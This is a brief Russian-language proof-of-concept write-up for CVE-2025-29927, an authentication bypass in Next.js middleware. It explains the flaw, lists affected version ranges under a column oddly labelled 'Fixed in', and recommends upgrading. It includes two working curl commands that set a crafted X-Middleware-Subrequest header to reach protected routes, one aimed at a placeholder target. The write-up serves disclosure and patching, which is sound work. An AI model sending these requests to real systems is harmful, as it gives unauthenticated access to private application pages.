
Эксплойт-концепт для CVE-2025-29927, демонстрирующий обход аутентификации в промежуточном ПО Next.js через заголовок x-middleware-subrequest, с затронутыми версиями и рекомендациями по смягчению.
Представьте вышибалу перед клубом: если вы скажете ему «я уже внутри», он пропустит вас без проверки. Именно это и представляет собой CVE-2025-29927.
Middleware в Next.js выполняется до обработки запроса, что делает его идеальным местом для обработки аутентификации. Next.js использует внутренний заголовок x-middleware-subrequest для предотвращения рекурсивных запросов и избежания бесконечных циклов. Эта уязвимость демонстрирует, что можно обойти или полностью пропустить выполнение middleware — включая критические проверки безопасности, такие как аутентификация, прежде чем запрос достигнет защищённого маршрута.
| Branch | Fixed in |
|---|---|
| 15.x | < 15.2.3 |
| 14.x | < 14.2.25 |
| 13.x | < 13.5.9 |
Тысячи или миллионы приложений работают на необновлённых версиях Next.js. Если не устранить уязвимость, она позволяет любому получить неаутентифицированный доступ к защищённым маршрутам — без каких-либо учётных данных.
curl -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
http://localhost:3000/private-area
Ответ возвращает защищённую страницу без какой-либо аутентификации.
curl -s "http://<target>/<private-area>" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
Обновите Next.js до исправленной версии:
15.x → 15.2.3 или новее14.x → 14.2.25 или новее13.x → 13.5.9 или новее